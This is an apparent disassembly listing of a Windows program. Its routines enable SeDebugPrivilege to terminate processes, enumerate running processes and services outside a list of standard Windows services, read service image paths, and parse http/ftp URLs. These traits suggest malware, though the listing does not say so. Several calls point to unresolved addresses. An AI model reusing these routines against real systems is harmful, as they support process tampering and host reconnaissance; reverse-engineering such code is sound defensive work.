db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4203D0 proc near ; CODE XREF: sub_4018A7j
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_14 = dword ptr -14h
var_10 = byte ptr -10h
arg_0 = dword ptr 4
sub esp, 28h
push ebx
push ebp
push esi
lea eax, [esp+34h+var_28]
push edi
xor esi, esi
push eax
push esi
push 28h
xor bl, bl
mov [esp+44h+var_24], 10h
nop
call near ptr 2780A72h
push eax
nop
call near ptr 28E16DBh
mov ebp, dword_50F718
mov edi, dword_50F8D8
test eax, eax
jnz short loc_420420
lea ecx, [esp+38h+var_28]
push ecx
push 28h
nop
call near ptr 2780ABAh
push eax
call near ptr 28E1C4Ch
nop
test eax, eax
jz short loc_42047F
loc_420420: ; CODE XREF: sub_4203D0+36j
cmp [esp+38h+var_28], esi
jz short loc_420483
lea edx, [esp+38h+var_1C]
mov [esp+38h+var_20], 1
push edx
push offset aSedebugprivile ; "SeDebugPrivilege"
push esi
mov [esp+44h+var_14], 2
call near ptr 28F0000h
nop
lea eax, [esp+38h+var_24]
lea ecx, [esp+38h+var_10]
push eax
mov eax, [esp+3Ch+var_28]
push ecx
lea edx, [esp+40h+var_20]
push 10h
push edx
push esi
push eax
call ebp
test eax, eax
jz short loc_420478
nop
call near ptr 27C0896h
cmp eax, 514h
jnz short loc_420483
mov ecx, [esp+38h+var_28]
push ecx
jmp short loc_42047D
; ---------------------------------------------------------------------------
loc_420478: ; CODE XREF: sub_4203D0+92j
mov edx, [esp+38h+var_28]
push edx
loc_42047D: ; CODE XREF: sub_4203D0+A6j
call edi
loc_42047F: ; CODE XREF: sub_4203D0+4Ej
mov [esp+38h+var_28], esi
loc_420483: ; CODE XREF: sub_4203D0+54j
; sub_4203D0+9Fj
mov eax, [esp+38h+arg_0]
push eax
push esi
push 411h
nop
call near ptr 2790000h
mov esi, eax
test esi, esi
jz short loc_4204A8
push 0
push esi
nop
call near ptr 2710000h
push esi
mov bl, 1
call edi
loc_4204A8: ; CODE XREF: sub_4203D0+C8j
mov eax, [esp+38h+var_28]
test eax, eax
jz short loc_4204C7
push 0
push 0
lea ecx, [esp+40h+var_10]
push 10h
push ecx
push 0
push eax
call ebp
mov edx, [esp+38h+var_28]
push edx
call edi
loc_4204C7: ; CODE XREF: sub_4203D0+DEj
pop edi
pop esi
mov al, bl
pop ebp
pop ebx
add esp, 28h
retn
sub_4203D0 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_420530 proc near ; CODE XREF: sub_4011D6j
var_68 = dword ptr -68h
var_54 = byte ptr -54h
var_4C = dword ptr -4Ch
var_3C = byte ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_28 = byte ptr -28h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_F4 = byte ptr 0F8h
arg_100 = byte ptr 104h
arg_10C4 = dword ptr 10C8h
arg_10D0 = dword ptr 10D4h
arg_1104 = dword ptr 1108h
arg_1118 = dword ptr 111Ch
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_420530
push eax
mov eax, 1130h
mov large fs:0, esp
call sub_436840
push esi
push offset aPsapi_dll ; "PSAPI.DLL"
nop
call near ptr 28A1C3Ah
test eax, eax
mov dword_50BB70, eax
jnz short loc_42057C
push offset aPsapi_dll ; "PSAPI.DLL"
nop
call near ptr 27E0865h
test eax, eax
mov dword_50BB70, eax
jz loc_4206FA
loc_42057C: ; CODE XREF: sub_420530+32j
mov esi, dword_50F8A0
push offset aEnumprocesses ; "EnumProcesses"
push eax
call esi
mov dword_50BB74, eax
mov eax, dword_50BB70
push offset aEnumprocessmod ; "EnumProcessModules"
push eax
call esi
mov ecx, dword_50BB70
push offset aGetmodulefilen ; "GetModuleFileNameExA"
push ecx
mov dword_50BB78, eax
call esi
mov ecx, dword_50BB74
mov dword_50BB7C, eax
test ecx, ecx
jz loc_4206FA
mov edx, dword_50BB78
test edx, edx
jz loc_4206FA
test eax, eax
jz loc_4206FA
lea edx, [esp+30h+var_28]
lea eax, [esp+30h+arg_100]
push edx
push 1000h
push eax
call ecx
test eax, eax
jz loc_4206FA
mov ecx, dword ptr aUnknown ; "unknown"
mov eax, dword ptr aUnknown+4
mov edx, [esp+3Ch+var_34]
push edi
mov [esp+40h+var_C], ecx
mov [esp+40h+var_8], eax
mov ecx, 3Fh
mov eax, 0
lea edi, [esp+40h+var_4]
shr edx, 2
rep stosd
jz loc_4206E1
push ebx
mov ebx, [esp+44h+arg_1104]
push ebp
mov ebp, dword_50F874
lea edi, [esp+48h+arg_F4]
mov [esp+48h+var_38], edx
loc_42063F: ; CODE XREF: sub_420530+1A9j
mov ecx, [edi]
push ecx
push 0
push 410h
call ebp
mov esi, eax
test esi, esi
jz short loc_4206CD
lea edx, [esp+54h+var_38]
lea eax, [esp+54h+var_3C]
push edx
push 4
push eax
push esi
call dword_50BB78
test eax, eax
jz short loc_4206C6
mov edx, [esp+64h+var_4C]
lea ecx, [esp+64h+var_28]
push 104h
push ecx
push edx
push esi
call dword_50BB7C
lea ecx, [esp+74h+var_54]
call sub_401866
lea eax, [esp+74h+var_38]
lea ecx, [esp+74h+var_54]
push eax
mov [esp+78h+arg_10D0], 0
call sub_4015D7
mov ecx, [edi]
lea edx, [esp+74h+var_54]
mov [esp+35h], ecx
push edx
mov ecx, ebx
call sub_402167
; ---------------------------------------------------------------------------
lea ecx, [esp+74h+var_54]
mov [esp+74h+arg_10D0], 0FFFFFFFFh
call sub_401A6E
loc_4206C6: ; CODE XREF: sub_420530+136j
push esi
nop
call near ptr 2860000h
loc_4206CD: ; CODE XREF: sub_420530+11Fj
mov eax, [esp+78h+var_68]
add edi, 4
dec eax
mov [esp+78h+var_68], eax
jnz loc_42063F
pop ebp
pop ebx
loc_4206E1: ; CODE XREF: sub_420530+EFj
pop edi
mov al, 1
pop esi
mov ecx, [esp+68h+arg_10C4]
mov large fs:0, ecx
add esp, 113Ch
retn
; ---------------------------------------------------------------------------
loc_4206FA: ; CODE XREF: sub_420530+46j
; sub_420530+8Cj ...
mov ecx, [esp+18h+arg_1118]
xor al, al
pop esi
mov large fs:0, ecx
add esp, 113Ch
retn
sub_420530 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 80h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4207A0 proc near ; CODE XREF: sub_401866j
push esi
mov esi, ecx
call sub_401424
mov eax, esi
pop esi
retn
sub_4207A0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4207C0 proc near ; CODE XREF: sub_401A6Ej
jmp sub_401226
sub_4207C0 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4207E0 proc near ; CODE XREF: sub_402144j
var_518 = byte ptr -518h
var_514 = dword ptr -514h
var_510 = dword ptr -510h
var_50C = dword ptr -50Ch
var_508 = dword ptr -508h
var_504 = dword ptr -504h
var_500 = dword ptr -500h
var_4FC = dword ptr -4FCh
var_4F8 = byte ptr -4F8h
var_4E4 = dword ptr -4E4h
var_4E0 = dword ptr -4E0h
var_4DC = dword ptr -4DCh
var_4D8 = dword ptr -4D8h
var_4D4 = dword ptr -4D4h
var_4D0 = dword ptr -4D0h
var_4CC = dword ptr -4CCh
var_4C8 = dword ptr -4C8h
var_4C4 = dword ptr -4C4h
var_4C0 = dword ptr -4C0h
var_4BC = dword ptr -4BCh
var_4B8 = dword ptr -4B8h
var_4B4 = dword ptr -4B4h
var_4B0 = dword ptr -4B0h
var_4AC = dword ptr -4ACh
var_4A8 = dword ptr -4A8h
var_4A4 = dword ptr -4A4h
var_4A0 = dword ptr -4A0h
var_49C = dword ptr -49Ch
var_498 = dword ptr -498h
var_494 = dword ptr -494h
var_490 = dword ptr -490h
var_48C = dword ptr -48Ch
var_488 = dword ptr -488h
var_484 = dword ptr -484h
var_480 = dword ptr -480h
var_47C = dword ptr -47Ch
var_478 = dword ptr -478h
var_474 = dword ptr -474h
var_470 = dword ptr -470h
var_46C = dword ptr -46Ch
var_468 = dword ptr -468h
var_464 = dword ptr -464h
var_460 = dword ptr -460h
var_45C = dword ptr -45Ch
var_458 = dword ptr -458h
var_454 = dword ptr -454h
var_450 = dword ptr -450h
var_44C = dword ptr -44Ch
var_448 = dword ptr -448h
var_444 = dword ptr -444h
var_440 = dword ptr -440h
var_43C = dword ptr -43Ch
var_438 = dword ptr -438h
var_430 = byte ptr -430h
var_41C = byte ptr -41Ch
var_408 = byte ptr -408h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_4 = dword ptr 8
push 0FFFFFFFFh
push offset SEH_4207E0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 50Ch
push ebx
push ebp
xor ebx, ebx
push 80000000h
push ebx
push ebx
nop
call near ptr 2920AF1h
mov ebp, eax
cmp ebp, ebx
mov [esp+520h+var_500], ebp
jnz short loc_42082F
pop ebp
xor al, al
pop ebx
mov ecx, [esp+518h+var_C]
mov large fs:0, ecx
add esp, 518h
retn
; ---------------------------------------------------------------------------
loc_42082F: ; CODE XREF: sub_4207E0+34j
push esi
push edi
lea ecx, [esp+528h+var_4FC]
mov [esp+528h+var_4E4], offset aAudiosrv ; "AudioSrv"
mov [esp+528h+var_4E0], offset aBrowser ; "Browser"
mov [esp+528h+var_4DC], offset aCryptsvc ; "CryptSvc"
mov [esp+528h+var_4D8], offset aDhcp ; "Dhcp"
mov [esp+528h+var_4D4], offset aDmserver ; "dmserver"
mov [esp+528h+var_4D0], offset aDnscache ; "Dnscache"
mov [esp+528h+var_4CC], offset aErsvc ; "ERSvc"
mov [esp+528h+var_4C8], offset aEventlog ; "Eventlog"
mov [esp+528h+var_4C4], offset aEventsystem ; "EventSystem"
mov [esp+528h+var_4C0], offset aFastuserswitch ; "FastUserSwitchingCompatibility"
mov [esp+528h+var_4BC], offset aHelpsvc ; "helpsvc"
mov [esp+528h+var_4B8], offset aLanmanserver ; "lanmanserver"
mov [esp+528h+var_4B4], offset aLanmanworkstat ; "lanmanworkstation"
mov [esp+528h+var_4B0], offset aLmhosts ; "LmHosts"
mov [esp+528h+var_4AC], offset off_44433C
mov [esp+528h+var_4A8], offset aMessenger ; "Messenger"
mov [esp+528h+var_4A4], offset aNetman ; "Netman"
mov [esp+528h+var_4A0], offset off_444324
mov [esp+528h+var_49C], offset aPlugplay ; "PlugPlay"
mov [esp+528h+var_498], offset aPolicyagent ; "PolicyAgent"
mov [esp+528h+var_494], offset aProtectedstora ; "ProtectedStorage"
mov [esp+528h+var_490], offset aRasman ; "RasMan"
mov [esp+528h+var_48C], offset aRpcss ; "RpcSs"
mov [esp+528h+var_488], offset aSamss ; "SamSs"
mov [esp+528h+var_484], offset aSchedule ; "Schedule"
mov [esp+528h+var_480], offset aSeclogon ; "seclogon"
mov [esp+528h+var_47C], offset aSens ; "SENS"
mov [esp+528h+var_478], offset aShellhwdetecti ; "ShellHWDetection"
mov [esp+528h+var_474], offset aSpooler ; "Spooler"
mov [esp+528h+var_470], offset aSsdpsrv ; "SSDPSRV"
mov [esp+528h+var_46C], offset aStisvc ; "stisvc"
mov [esp+528h+var_468], offset aTapisrv ; "TapiSrv"
mov [esp+528h+var_464], offset aTermservice ; "TermService"
mov [esp+528h+var_460], offset aTrkwks ; "TrkWks"
mov [esp+528h+var_45C], offset aUploadmgr ; "uploadmgr"
mov [esp+528h+var_458], offset aUpnphost ; "upnphost"
mov [esp+528h+var_454], offset aW32time ; "W32Time"
mov [esp+528h+var_450], offset aWebclient ; "WebClient"
mov [esp+528h+var_44C], offset aWinmgmt ; "winmgmt"
mov [esp+528h+var_448], offset aWzcsvc ; "WZCSVC"
mov [esp+528h+var_444], offset aWuauserv ; "wuauserv"
mov [esp+528h+var_440], offset aSrservice ; "srservice"
mov [esp+528h+var_43C], offset aThemes ; "Themes"
mov [esp+528h+var_438], ebx
mov [esp+528h+var_510], ebx
call sub_401424
lea eax, [esp+528h+var_510]
lea ecx, [esp+528h+var_514]
mov esi, dword_50F710
push eax
lea edx, [esp+52Ch+var_518]
push ecx
push edx
lea eax, [esp+534h+var_41C]
push ebx
push eax
push 1
push 30h
push ebp
mov [esp+548h+var_4], ebx
mov [esp+548h+var_50C], ebx
mov [esp+548h+var_504], 80h
call esi
mov ecx, [esp+524h+var_514]
push ecx
nop
call near ptr 77C2C407h
add esp, 4
mov edi, eax
lea edx, [esp+524h+var_50C]
lea eax, [esp+524h+var_510]
push edx
mov edx, [esp+528h+var_514]
lea ecx, [esp+528h+var_514]
push eax
push ecx
push edx
push edi
push 1
push 30h
push ebp
call esi
mov eax, [esp+524h+var_510]
mov [esp+524h+var_504], ebx
cmp eax, ebx
jbe loc_420B8F
mov ebp, dword_50F75C
loc_420A6B: ; CODE XREF: sub_4207E0+3A5j
mov eax, offset aAudiosrv ; "AudioSrv"
test eax, eax
jz short loc_420A97
lea esi, [esp+524h+var_4E0]
loc_420A78: ; CODE XREF: sub_4207E0+2B5j
mov ecx, [edi]
push ecx
push eax
nop
call near ptr 77C4624Eh
add esp, 8
test eax, eax
jz loc_420B73
mov eax, [esi+4]
add esi, 4
cmp eax, ebx
jnz short loc_420A78
loc_420A97: ; CODE XREF: sub_4207E0+292j
mov edx, [edi]
lea eax, [esp+524h+var_4F8]
push edx
push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\%s"
push eax
call sub_40102D
add esp, 0Ch
lea ecx, [esp+524h+var_508]
push ecx
push 20019h
push ebx
lea ecx, [esp+530h+var_4F8]
call sub_401681
push eax
push 80000002h
call ebp
cmp eax, ebx
jz short loc_420AE3
mov edx, [edi]
lea eax, [esp+524h+var_4F8]
push edx
push offset aS????_exeUnkno ; "[%s] [????.exe] (Unknown key)"
push eax
call sub_40102D
add esp, 0Ch
jmp short loc_420B3A
; ---------------------------------------------------------------------------
loc_420AE3: ; CODE XREF: sub_4207E0+2EAj
mov eax, [esp+524h+var_508]
lea ecx, [esp+524h+var_500]
lea edx, [esp+524h+var_408]
push ecx
push edx
push ebx
push ebx
push offset aImagepath ; "ImagePath"
push eax
call near ptr 2900000h
nop
cmp eax, ebx
jz short loc_420B1D
mov ecx, [edi]
lea edx, [esp+524h+var_4F8]
push ecx
push offset aS????_exe ; "[%s] [????.exe]"
push edx
call sub_40102D
add esp, 0Ch
jmp short loc_420B3A
; ---------------------------------------------------------------------------
loc_420B1D: ; CODE XREF: sub_4207E0+324j
mov ecx, [edi]
lea eax, [esp+524h+var_408]
push eax
push ecx
lea edx, [esp+52Ch+var_4F8]
push offset aSS ; "[%s] [%s]"
push edx
call sub_40102D
add esp, 10h
loc_420B3A: ; CODE XREF: sub_4207E0+301j
; sub_4207E0+33Bj
lea eax, [esp+524h+var_4F8]
lea ecx, [esp+524h+var_430]
push eax
call sub_4014C9
mov ecx, [esp+524h+arg_4]
push eax
mov byte ptr [esp+528h], 1
call sub_401325
; ---------------------------------------------------------------------------
lea ecx, [esp+524h+var_430]
mov [esp+524h], bl
call sub_401226
loc_420B73: ; CODE XREF: sub_4207E0+2A7j
mov eax, [esp+524h+var_504]
mov ecx, [esp+524h+var_510]
inc eax
add edi, 24h
cmp eax, ecx
mov [esp+524h+var_504], eax
jb loc_420A6B
mov ebp, [esp+524h+var_4FC]
loc_420B8F: ; CODE XREF: sub_4207E0+27Fj
push ebp
call near ptr 29303B4h
nop
lea ecx, [esp+528h+var_4FC]
mov [esp+528h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+528h+var_C]
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
mov large fs:0, ecx
add esp, 518h
retn
sub_4207E0 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 100h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_420CD0 proc near ; CODE XREF: sub_4015EBj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push esi
mov esi, [esp+4+arg_0]
push eax
push esi
push 0
nop
call near ptr 28A1C3Ah
push eax
call near ptr 28A1050h
nop
mov eax, esi
pop esi
retn
sub_420CD0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420D00 proc near ; CODE XREF: sub_401A28j
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_4]
push ebx
mov [ebp+var_4], 0
mov [ebp+arg_4], eax
femms
mov ecx, [ebp+arg_4]
mov edx, [ebp+arg_0]
mov ebx, [ebp+var_4]
cmp ecx, 2
js short loc_420D39
loc_420D22: ; CODE XREF: sub_420D00+32j
xor eax, eax
mov ax, [edx]
add ebx, eax
sub ecx, 2
add edx, 2
cmp ecx, 1
jg short loc_420D22
cmp ecx, 0
jz short loc_420D4A
loc_420D39: ; CODE XREF: sub_420D00+20j
; sub_420D00+48j
xor eax, eax
mov al, [edx]
add ebx, eax
sub ecx, 1
add edx, 1
cmp ecx, 0
jg short loc_420D39
loc_420D4A: ; CODE XREF: sub_420D00+37j
mov [ebp+var_4], ebx
mov eax, [ebp+var_4]
shr eax, 10h
mov ebx, [ebp+var_4]
and ebx, 0FFFFh
add eax, ebx
mov ebx, eax
shr ebx, 10h
add eax, ebx
mov [ebp+var_4], eax
femms
mov eax, [ebp+var_4]
pop ebx
not eax
mov esp, ebp
pop ebp
retn
sub_420D00 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_420DA0: ; CODE XREF: ___:00401019j
mov eax, [esp+4]
mov dword_50BB64, eax
mov eax, offset dword_50BB64
retn
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_420DC0: ; CODE XREF: ___:00401771j
push ebx
push ebp
push esi
mov esi, [esp+10h]
push edi
mov edi, dword_50FAA0
push esi
call edi ; ftell
mov ebp, dword_50FA98
push 2
push 0
push esi
mov ebx, eax
call ebp ; fseek
push esi
call edi ; ftell
push 0
push ebx
push esi
mov edi, eax
call ebp ; fseek
add esp, 20h
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_420E10 proc near ; CODE XREF: sub_401938j
var_84 = byte ptr -84h
var_6C = byte ptr -6Ch
var_54 = byte ptr -54h
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_420E10
push eax
mov large fs:0, esp
sub esp, 78h
push ebx
push esi
mov esi, [esp+8Ch+arg_0]
xor ebx, ebx
cmp esi, ebx
push edi
jnz short loc_420E3F
xor al, al
jmp loc_421419
; ---------------------------------------------------------------------------
loc_420E3F: ; CODE XREF: sub_420E10+26j
lea ecx, [esp+90h+var_84]
call sub_401424
push esi
lea ecx, [esp+94h+var_84]
mov [esp+94h+var_4], ebx
call sub_4015D7
push offset asc_443C94 ; ":"
lea eax, [esp+94h+var_54]
push ebx
push eax
lea ecx, [esp+9Ch+var_84]
call sub_4016AE
mov esi, [esp+90h+arg_4]
push eax
mov ecx, esi
mov byte ptr [esp+94h+var_4], 1
call sub_401FBE
lea ecx, [esp+90h+var_54]
mov byte ptr [esp+90h+var_4], bl
call sub_401226
push offset aHttp ; "http"
mov ecx, esi
call sub_4012EE
test eax, eax
jz short loc_420ECF
push offset aFtp ; "ftp"
mov ecx, esi
call sub_4012EE
test eax, eax
jz short loc_420ECF
lea ecx, [esp+90h+var_84]
mov [esp+90h+var_4], 0FFFFFFFFh
call sub_401226
xor al, al
jmp loc_421419
; ---------------------------------------------------------------------------
loc_420ECF: ; CODE XREF: sub_420E10+92j
; sub_420E10+A2j
push offset asc_444410 ; "/"
lea ecx, [esp+94h+var_54]
push 1
push ecx
lea ecx, [esp+9Ch+var_84]
call sub_4016AE
push 40h
mov ecx, eax
mov byte ptr [esp+94h+var_4], 2
call sub_401D20
lea ecx, [esp+90h+var_54]
mov edi, eax
mov byte ptr [esp+90h+var_4], bl
call sub_401226
cmp edi, ebx
push offset asc_444410 ; "/"
push 1
jz loc_42120C
lea edx, [esp+98h+var_24]
lea ecx, [esp+98h+var_84]
push edx
call sub_4016AE
push offset dword_4437F8
lea ecx, [esp+94h+var_3C]
push 1
push ecx
mov ecx, eax
mov byte ptr [esp+9Ch+var_4], 3
call sub_4016AE
push offset asc_443C94 ; ":"
lea edx, [esp+94h+var_54]
push ebx
push edx
mov ecx, eax
mov byte ptr [esp+9Ch+var_4], 4
call sub_4016AE
lea edi, [esi+15h]
push eax
mov ecx, edi
mov byte ptr [esp+94h+var_4], 5
call sub_401FBE
lea ecx, [esp+90h+var_54]
mov byte ptr [esp+90h+var_4], 4
call sub_401226
lea ecx, [esp+90h+var_3C]
mov byte ptr [esp+90h+var_4], 3
call sub_401226
lea ecx, [esp+90h+var_24]
mov byte ptr [esp+90h+var_4], bl
call sub_401226
push offset byte_446F70
mov ecx, edi
call sub_4012EE
test eax, eax
jnz short loc_420FC9
lea ecx, [esp+90h+var_84]
mov [esp+90h+var_4], 0FFFFFFFFh
call sub_401226
xor al, al
jmp loc_421419
; ---------------------------------------------------------------------------
loc_420FC9: ; CODE XREF: sub_420E10+19Cj
push offset asc_444410 ; "/"
lea eax, [esp+94h+var_54]
push 1
push eax
lea ecx, [esp+9Ch+var_84]
call sub_4016AE
push offset dword_4437F8
lea ecx, [esp+94h+var_3C]
push 1
push ecx
mov ecx, eax
mov byte ptr [esp+9Ch+var_4], 6
call sub_4016AE
push offset asc_443C94 ; ":"
lea edx, [esp+94h+var_24]
push 1
push edx
mov ecx, eax
mov byte ptr [esp+9Ch+var_4], 7
call sub_4016AE
mov ecx, eax
mov byte ptr [esp+90h+var_4], 8
call sub_4017E4
push eax
nop
call near ptr 77C1BF18h
add esp, 4
lea ecx, [esp+90h+var_24]
mov [esi+54h], eax
mov byte ptr [esp+90h+var_4], 7
call sub_401226
lea ecx, [esp+90h+var_3C]
mov byte ptr [esp+90h+var_4], 6
call sub_401226
lea ecx, [esp+90h+var_54]
mov byte ptr [esp+90h+var_4], bl
call sub_401226
cmp [esi+54h], ebx
jnz short loc_421095
push offset aHttp ; "http"
mov ecx, esi
call sub_4012EE
test eax, eax
jnz short loc_42107E
mov dword ptr [esi+54h], 50h
loc_42107E: ; CODE XREF: sub_420E10+265j
push offset aFtp ; "ftp"
mov ecx, esi
call sub_4012EE
test eax, eax
jnz short loc_421095
mov dword ptr [esi+54h], 15h
loc_421095: ; CODE XREF: sub_420E10+255j
; sub_420E10+27Cj
push offset asc_444410 ; "/"
lea eax, [esp+94h+var_54]
push 1
push eax
lea ecx, [esp+9Ch+var_84]
call sub_4016AE
push offset dword_4437F8
lea ecx, [esp+94h+var_3C]
push ebx
push ecx
mov ecx, eax
mov byte ptr [esp+9Ch+var_4], 9
call sub_4016AE
push offset asc_443C94 ; ":"
lea edx, [esp+94h+var_24]
push ebx
push edx
mov ecx, eax
mov byte ptr [esp+9Ch+var_4], 0Ah
call sub_4016AE
lea edi, [esi+2Ah]
push eax
mov ecx, edi
mov byte ptr [esp+94h+var_4], 0Bh
call sub_401FBE
lea ecx, [esp+90h+var_24]
mov byte ptr [esp+90h+var_4], 0Ah
call sub_401226
lea ecx, [esp+90h+var_3C]
mov byte ptr [esp+90h+var_4], 9
call sub_401226
lea ecx, [esp+90h+var_54]
mov byte ptr [esp+90h+var_4], bl
call sub_401226
push offset byte_446F70
mov ecx, edi
call sub_4012EE
test eax, eax
jnz short loc_42114E
lea ecx, [esp+90h+var_84]
mov [esp+90h+var_4], 0FFFFFFFFh
call sub_401226
xor al, al
jmp loc_421419
; ---------------------------------------------------------------------------
loc_42114E: ; CODE XREF: sub_420E10+321j
push offset asc_444410 ; "/"
lea eax, [esp+94h+var_54]
push 1
push eax
lea ecx, [esp+9Ch+var_84]
call sub_4016AE
push offset dword_4437F8
lea ecx, [esp+94h+var_3C]
push ebx
push ecx
mov ecx, eax
mov byte ptr [esp+9Ch+var_4], 0Ch
call sub_4016AE
push offset asc_443C94 ; ":"
lea edx, [esp+94h+var_24]
push 1
push edx
mov ecx, eax
mov byte ptr [esp+9Ch+var_4], 0Dh
call sub_4016AE
lea edi, [esi+3Fh]
push eax
mov ecx, edi
mov byte ptr [esp+94h+var_4], 0Eh
call sub_401FBE
lea ecx, [esp+90h+var_24]
mov byte ptr [esp+90h+var_4], 0Dh
call sub_401226
lea ecx, [esp+90h+var_3C]
mov byte ptr [esp+90h+var_4], 0Ch
call sub_401226
lea ecx, [esp+90h+var_54]
mov byte ptr [esp+90h+var_4], bl
call sub_401226
push offset byte_446F70
mov ecx, edi
call sub_4012EE
test eax, eax
jnz loc_421333
lea ecx, [esp+90h+var_84]
mov [esp+90h+var_4], 0FFFFFFFFh
call sub_401226
xor al, al
jmp loc_421419
; ---------------------------------------------------------------------------
loc_42120C: ; CODE XREF: sub_420E10+100j
lea eax, [esp+98h+var_3C]
lea ecx, [esp+98h+var_84]
push eax
call sub_4016AE
push offset asc_443C94 ; ":"
lea ecx, [esp+94h+var_24]
push ebx
push ecx
mov ecx, eax
mov byte ptr [esp+9Ch+var_4], 0Fh
call sub_4016AE
lea edi, [esi+15h]
push eax
mov ecx, edi
mov byte ptr [esp+94h+var_4], 10h
call sub_401FBE
lea ecx, [esp+90h+var_24]
mov byte ptr [esp+90h+var_4], 0Fh
call sub_401226
lea ecx, [esp+90h+var_3C]
mov byte ptr [esp+90h+var_4], bl
call sub_401226
push offset byte_446F70
mov ecx, edi
call sub_4012EE
test eax, eax
jnz short loc_421293
lea ecx, [esp+90h+var_84]
mov [esp+90h+var_4], 0FFFFFFFFh
call sub_401226
xor al, al
jmp loc_421419
; ---------------------------------------------------------------------------
loc_421293: ; CODE XREF: sub_420E10+466j
push offset asc_444410 ; "/"
lea edx, [esp+94h+var_3C]
push 1
push edx
lea ecx, [esp+9Ch+var_84]
call sub_4016AE
push offset asc_443C94 ; ":"
lea ecx, [esp+94h+var_24]
push 1
push ecx
mov ecx, eax
mov byte ptr [esp+9Ch+var_4], 11h
call sub_4016AE
mov ecx, eax
mov byte ptr [esp+90h+var_4], 12h
call sub_4017E4
push eax
call near ptr 77C1BF18h
nop
add esp, 4
lea ecx, [esp+90h+var_24]
mov [esi+54h], eax
mov byte ptr [esp+90h+var_4], 11h
call sub_401226
lea ecx, [esp+90h+var_3C]
mov byte ptr [esp+90h+var_4], bl
call sub_401226
cmp [esi+54h], ebx
jnz short loc_421333
push offset aHttp ; "http"
mov ecx, esi
call sub_4012EE
test eax, eax
jnz short loc_42131C
mov dword ptr [esi+54h], 50h
loc_42131C: ; CODE XREF: sub_420E10+503j
push offset aFtp ; "ftp"
mov ecx, esi
call sub_4012EE
test eax, eax
jnz short loc_421333
mov dword ptr [esi+54h], 15h
loc_421333: ; CODE XREF: sub_420E10+3DBj
; sub_420E10+4F3j ...
push offset asc_444410 ; "/"
lea ecx, [esp+94h+var_84]
call sub_4013E3
lea edx, [esp+90h+var_6C]
push eax
push edx
lea ecx, [esp+98h+var_84]
call sub_401E2E
push offset asc_444410 ; "/"
lea ecx, [esp+94h+var_6C]
mov byte ptr [esp+94h+var_4], 13h
call sub_4013E3
push eax
lea eax, [esp+94h+var_24]
push eax
lea ecx, [esp+98h+var_6C]
call sub_401E2E
push eax
lea ecx, [esp+94h+var_6C]
mov byte ptr [esp+94h+var_4], 14h
call sub_40200E
lea ecx, [esp+90h+var_24]
mov byte ptr [esp+90h+var_4], 13h
call sub_401226
push offset asc_444410 ; "/"
lea ecx, [esp+94h+var_6C]
call sub_4013E3
lea ecx, [esp+90h+var_24]
push eax
push ecx
lea ecx, [esp+98h+var_6C]
call sub_401E2E
push eax
lea ecx, [esp+94h+var_6C]
mov byte ptr [esp+94h+var_4], 15h
call sub_40200E
lea ecx, [esp+90h+var_24]
mov byte ptr [esp+90h+var_4], 13h
call sub_401226
add esi, 58h
push offset asc_444410 ; "/"
mov ecx, esi
call sub_4015D7
lea edx, [esp+90h+var_6C]
mov ecx, esi
push edx
call sub_4016BD
lea ecx, [esp+90h+var_6C]
mov byte ptr [esp+90h+var_4], bl
call sub_401226
lea ecx, [esp+90h+var_84]
mov [esp+90h+var_4], 0FFFFFFFFh
call sub_401226
mov al, 1
loc_421419: ; CODE XREF: sub_420E10+2Aj
; sub_420E10+BAj ...
mov ecx, [esp+90h+var_C]
pop edi
pop esi
pop ebx
mov large fs:0, ecx
add esp, 84h
retn
sub_420E10 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 190h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4215D0 proc near ; CODE XREF: sub_401AEBj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov edx, [esp+arg_4]
push ebx
mov ebx, [esp+4+arg_C]
push ebp
sub edx, ebx
xor eax, eax
push esi
push edi
test edx, edx
jle short loc_4215FB
loc_4215E4: ; CODE XREF: sub_4215D0+29j
mov esi, [esp+10h+arg_0]
mov edi, [esp+10h+arg_8]
add esi, eax
mov ecx, ebx
xor ebp, ebp
repe cmpsb
jz short loc_421602
inc eax
cmp eax, edx
